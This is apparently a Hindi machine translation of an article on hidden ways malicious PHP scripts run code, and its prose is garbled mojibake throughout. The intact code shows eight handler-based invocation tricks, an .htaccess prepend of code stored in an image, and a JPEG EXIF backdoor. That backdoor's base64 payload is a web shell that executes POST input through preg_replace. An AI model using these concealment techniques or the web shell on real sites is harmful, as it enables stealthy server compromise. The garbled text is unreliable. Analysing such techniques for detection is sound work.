рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рдкреНрд░рдпреБрдХреНрдд рдирд┐рд╣рд┐рдд php рдХреЛрдб рдЖрд╣реНрд╡рд╛рди рдХреЗ рд▓рд┐рдП рдЙрдиреНрдирдд рддрд░реАрдХреЗ

рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рдирд┐рд╣рд┐рдд php рдХреЛрдб рдХреЙрд▓ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдиреЛрдЯ рдХреА рддрд╛рд░реНрдХрд┐рдХ рдирд┐рд░рдВрддрд░рддрд╛ рдЗрд╕рдХрд╛ рджреВрд╕рд░рд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реЛрдЧреА, рдЬрд┐рд╕рдореЗрдВ рдореИрдВ рд╡рд┐рднрд┐рдиреНрди php рд╣реИрдВрдбрд▓рд░ рдФрд░ рд▓реЛрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рдФрд░ рдХрдо рд╕реНрдкрд╖реНрдЯ рд╡рд┐рдХрд▓реНрдкреЛрдВ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реВрдВрдЧрд╛, рдФрд░ рд▓реЗрдЦ рдХреЗ рдЕрдВрдд рдореЗрдВ рдореИрдВ рдХреБрдЫ рдЙрджрд╛рд╣рд░рдг рджреВрдВрдЧрд╛ рдХрд┐ рд╣реИрдХрд░реНрд╕ рдХреИрд╕реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдФрд░ php рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред рд╕рд╛рдЗрдЯ рдкрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯред

рд╣рдо рдлрд┐рд░ рд╕реЗ рдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЗ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд░реВрдк рдореЗрдВ рдХрд░реЗрдВрдЧреЗред

echo 'Test' 


рдЪреВрдВрдХрд┐ рд▓реЗрдЦ рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдЫрд┐рдкреА рд╣реБрдИ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рджреГрд╖реНрдЯрд┐рдХреЛрдгреЛрдВ рдФрд░ рддрдВрддреНрд░реЛрдВ рдХреЛ рджрд┐рдЦрд╛рдирд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╕рд╛рджрдЧреА рдХреЗ рд▓рд┐рдП, рд╣рдорд╛рд░реЗ "рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб" рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЛрдб рдХреЗ рдмрдЧрд▓ рдореЗрдВ рдШреЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬреЛ рдХрд┐ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рд░реВрдк рд╕реЗ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЬреАрд╡рди рдореЗрдВ, рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдФрд░ рдЗрд╕рдХреА рдХреЙрд▓ рдПрдХ-рджреВрд╕рд░реЗ рд╕реЗ рджреВрд░ рд╣реЛрддреА рд╣реИрдВ, рдХрдо рд╕реЗ рдХрдо рдЕрд▓рдЧ-рдЕрд▓рдЧ php рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ, рд▓реЗрдХрд┐рди рдЕрдзрд┐рдХ рдмрд╛рд░ рдХреЛрдб рдХреЛ рдбреЗрдЯрд╛рдмреЗрд╕, рдЫрд╡рд┐ рдореЗрдЯрд╛-рдбреЗрдЯрд╛, рдХрд┐рд╕реА рдЕрдиреНрдп рд╕рд░реНрд╡рд░ рд╕реЗ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдмрд╛рдж рдЗрд╕реЗ рдлрд╝рдВрдХреНрд╢рди eval, assert, preg_replace рдФрд░ рдЬреИрд╕реЗ рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ ред



рд╡рд┐рдХрд▓реНрдк # 1: рдСрдЯреЛрд▓реЙрдб рддрдВрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред

рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЛ рдСрдЯреЛрд▓реИрдб рд╣реИрдВрдбрд▓рд░ рдореЗрдВ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рдХреЛрдИ рднреА рдЕрдпреЛрдЧреНрдп рд╡рд░реНрдЧ рдирд╣реАрдВ рдмрдирд╛рддрд╛ рд╣реИред

 <?php function __autoload($classname) { echo 'Test'; } //... new myEvilClass(); 


рд╡рд┐рдХрд▓реНрдк # 2: 5.3 рдФрд░ рдЙрдЪреНрдЪрддрд░ рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдПрдХ рдФрд░ рдСрдЯреЛрд▓реЙрдб рддрдВрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛

 <?php // php >= 5.3.0 class EvilClass { static public function evil($name) { echo 'Test'; } } // ... spl_autoload_register(__NAMESPACE__ .'\EvilClass::evil'); // ... new Malware; 


рд╡рд┐рдХрд▓реНрдк # 3: рдПрдХ рд╕рддреНрд░ рд╣реИрдВрдбрд▓рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

рдЬрд┐рд╕ рд╕рдордп рд╕рддреНрд░ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЙрд╕ рд╕рдордп рдкрдВрдЬреАрдХреГрдд рд╕рдорд╛рд░реЛрд╣ рдХреЛ рдмреБрд▓рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

 <?php function just_do_it() { echo 'Test'; } // ... $f = function() {}; session_set_save_handler("just_do_it", $f, $f, $f, $f, $f); @session_start(); 


рд╡рд┐рдХрд▓реНрдк # 4: рдПрдХ рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред

рдПрдХ рдмрджрд▓рд╛рд╡ рдХреЗ рд▓рд┐рдП, рд╣рдо рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреА рдШреЛрд╖рдгрд╛ рдирд╣реАрдВ рдХрд░реЗрдВрдЧреЗред рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рд╡рд┐рдХрд▓реНрдк рдореЗрдВ, рдлрд╝рдВрдХреНрд╢рди рдХреЛрдб рдХреЛ рдХрд┐рд╕реА рднреА рд╕реНрдЯреЛрд░ рд╕реЗ рд▓рд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ
рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдмрдирд╛рдПрдВ рдФрд░ рд░рдирдЯрд╛рдЗрдо рдореЗрдВ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдмрдирд╛рдПрдВред

 <?php $f = create_function('', "echo 'Test';"); // ... $it = new ArrayIterator(array('')); iterator_apply($it, $f, array($it)); 


рд╡рд┐рдХрд▓реНрдк рдирдВрдмрд░ 5: рдПрдХ рдЕрдкрд╡рд╛рдж рд╣реИрдВрдбрд▓рд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЙрд▓ред

рдЗрд╕ рдЕрд╡рддрд╛рд░ рдореЗрдВ, рдХреЙрд▓ рдХреЗ рд▓рд┐рдП рдХреЛрдб рдЕрдкрд╡рд╛рдж рдкрд╛рда рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

 <?php function exception_handler($e) { preg_replace_callback('||', create_function('', $e->getMessage()), ''); } // ... set_exception_handler('exception_handler'); // ... throw new Exception('echo "Test";'); 


рд╡рд┐рдХрд▓реНрдк # 6: рдПрдХ рддреНрд░реБрдЯрд┐ рд╣реИрдВрдбрд▓рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

рджреГрд╖реНрдЯрд┐рдХреЛрдг # 5 рдХреЗ рд╕рдорд╛рди рд╣реИ, рд▓реЗрдХрд┐рди рдХреЛрдб рдХреЛ рдЯреНрд░рд┐рдЧрд░_рд░реЛрд░ () рдпрд╛ user_error () рд╡рд┐рдзрд┐рдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдХреЛрдб рд╕реНрд╡рдпрдВ рддреНрд░реБрдЯрд┐ рдкрд╛рда рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИ рдХрд┐ рдпрд╣ рд╕рдорд╛рдзрд╛рди рдХрд┐рд╕реА рднреА error_reporting рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред

 <?php function error_handler($errno, $errstr, $errfile, $errline) { array_map(create_function('', $errstr), array('')); } // ... set_error_handler('error_handler'); $badcode = 'echo "Test";'; trigger_error($badcode, E_USER_ERROR); //  user_error(); 


рд╡рд┐рдХрд▓реНрдк рд╕рдВрдЦреНрдпрд╛ 7: рдЕрдкрдиреА рдЗрдХрд╛рдИ рд▓реЛрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

рд╕рдВрд╕реНрдХрд░рдг 5.4 рдХреЗ рдмрд╛рдж рд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб XML рдЯреИрдЧреНрд╕ рдпрд╛ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╕реЗрд╡рд╛ рдХреНрд╖реЗрддреНрд░реЛрдВ рдореЗрдВ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред

 <?php //  php >= 5.4 $xml =<<<XML <!DOCTYPE zlodei PUBLIC "echo 'Test';" "http://example/"> <zlodei>bar</zlodei> XML; $dtd =<<<DTD <!ELEMENT zlodei (#PCDATA)> DTD; libxml_set_external_entity_loader( function ($public, $system, $context) use($dtd) { array_reduce(array(''), create_function('', $public)); } ); // ... $dd = new DOMDocument; $r = $dd->loadXML($xml); @$dd->validate(); 


рд╡рд┐рдХрд▓реНрдк рд╕рдВрдЦреНрдпрд╛ 8: рдирд┐рд╣рд┐рдд рдХреЛрдб рдХреЙрд▓ рдХреЗ рд▓рд┐рдП рдЕрдкрдиреА рд╕реНрд╡рдпрдВ рдХреА рд╕реНрдЯреНрд░реАрдо рдмрдирд╛рдПрдВ

рдПрдХ рд╕реНрдЯреНрд░реАрдо рд╣реИрдВрдбрд▓рд░ рдкрдВрдЬреАрдХреГрдд рд╣реИ, рдФрд░ рдХреЛрдИ рднреА рдлрд╝рдВрдХреНрд╢рди рдЬреЛ рд╕реНрдЯреНрд░реАрдо рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИ, рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ url рдореЗрдВ рдкрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рд╕реНрдЯреНрд░реАрдо рдореЗрдВ рд▓рд┐рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдПрдХ рдкрд░рд┐рд╡рд░реНрддрди рдХреЗ рд▓рд┐рдП, рдмреЗрдиреЗрд▓ рдПрд╡рд▓ () рдХреЗ рдмрдЬрд╛рдп, рдХреЛрдб create_function () рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред

 <?php class MalwareStream { function stream_open($path, $mode, $options, &$opened_path) { $url = parse_url($path); $f = create_function('', $url["host"]); $f(); return true; } } // ... stream_wrapper_register("malw", "MalwareStream"); // ... $fp = fopen('malw://echo "Test";', ''); 


рдкрд┐рдЫрд▓реЗ рдиреЛрдЯ рдореЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдирд┐рд░реНрдорд╛рдгреЛрдВ рдХреЗ рд╡рд┐рдкрд░реАрдд, рд╕реНрдереИрддрд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдореЗрдВ рдЗрд╕ рддрд░рд╣ рдХреЗ рдирд┐рд╣рд┐рдд рдХреЛрдб рдХреЙрд▓ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдХрд╛рдлреА рд╕рдорд╕реНрдпрд╛рдЧреНрд░рд╕реНрдд рд╣реИред рд╕рд░реНрд╡рд░ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рд╕реНрдХреИрдирд░ рдХреЗ рд▓рд┐рдП, рдпрд╣ рдЕрднреА рддрдХ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИред

рдмреЛрдирд╕ рдЯреНрд░реИрдХ

рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИрдХрд░реНрд╕ рдХрд┐рд╕ рдЕрдиреНрдп рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ?

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, .htaccess рдлрд╝рд╛рдЗрд▓ рдпрд╛ php.ini рдореЗрдВ php_auto_append / php_auto_prepend рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП

 php_value auto_prepend_file /images/stories/mycode.jpg 


рдХрд┐рд╕реА рднреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ mycode.jpg рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред

рджреВрд╕рд░реЗ, dl () рдлрд╝рдВрдХреНрд╢рди рджреНрд╡рд╛рд░рд╛ рдбрд╛рдпрдирд╛рдорд┐рдХ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд▓реЛрдбрд┐рдВрдЧред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, .so (* nix) рдпрд╛ .dll (рд╡рд┐рдВрдбреЛрдЬрд╝) рдореЙрдбреНрдпреВрд▓ рдмрдирд╛рдирд╛ рд╣реЛрдЧрд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдПрдХ рдХрд╛рдлреА рджреБрд░реНрд▓рдн рдорд╛рдорд▓рд╛ рд╣реИ, рдФрд░ рдЗрд╕рдореЗрдВ рдПрдХ рдЬрдЧрд╣ рд╣реИред рдЙрдиреНрдирдд рд╣реИрдХрд░реНрд╕ Apache рдпрд╛ nginx рдореЗрдВ рдореЙрдбреНрдпреВрд▓ рд╡рд┐рдХрд╕рд┐рдд рдФрд░ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рддреАрд╕рд░рд╛, рдмреИрдХ рдХреЛрдЯреНрд╕ рдХреЗ рд╕рд╛рде рдПрдХ рдХрдВрд╕реНрдЯреНрд░рдХреНрд╢рди рд╣реИ (рдЬреЛ рд╢реЗрд▓_рд╕реЗрдХреНрд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдирд╛рдо рд╣реИ):

 <?php $a = `ls -la`; echo $a; 


рд╡рд╣ ls -la рд╕рд┐рд╕реНрдЯрдо рдХрдорд╛рдВрдб рдХреЛ рднреА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛, рдЬрдм рддрдХ рдХрд┐, рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ, ph_ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдореЗрдВ рд╢реЗрд▓_рдПрдХреНрд╕рдПрдХреНрдпреВ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реИред

рдФрд░ рдЕрдВрдд рдореЗрдВ, рдПрдХ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдХреЛрдб рдХреЙрд▓ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдЬреЛ рдПрдХ jpeg рдлрд╝рд╛рдЗрд▓ рдХреЗ exif рд╣реЗрдбрд░ рд╕реЗ рд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

 <?php $exif = exif_read_data('/home/website/images/stories/food/evil.jpg'); preg_replace($exif['Make'],$exif['Model'],''); 


рдПрдХ jpg рдлрд╝рд╛рдЗрд▓ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддреА рд╣реИ:

yOya^@^PJFIF^@^A^B^@^@d^@d^@^@ya^@?Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@yi^@^QDucky^@^A^@^D^@^@^@<^@^@yi^@^NAdobe^...


рдореЗрдХ рдлрд╝реАрд▓реНрдб рд╕реЗ, /.*/e рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдореЙрдбрд▓ рдлрд╝реАрд▓реНрдб @ @ eval (base64_decode (...)) рд╕реЗ рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ тАЬeтАЭ рдХреЗ рдХрд╛рд░рдг preg_replace () рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЖрдкрдХрд╛ рдзреНрдпрд╛рди рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рджред

Source: https://habr.com/ru/post/In215817/


All Articles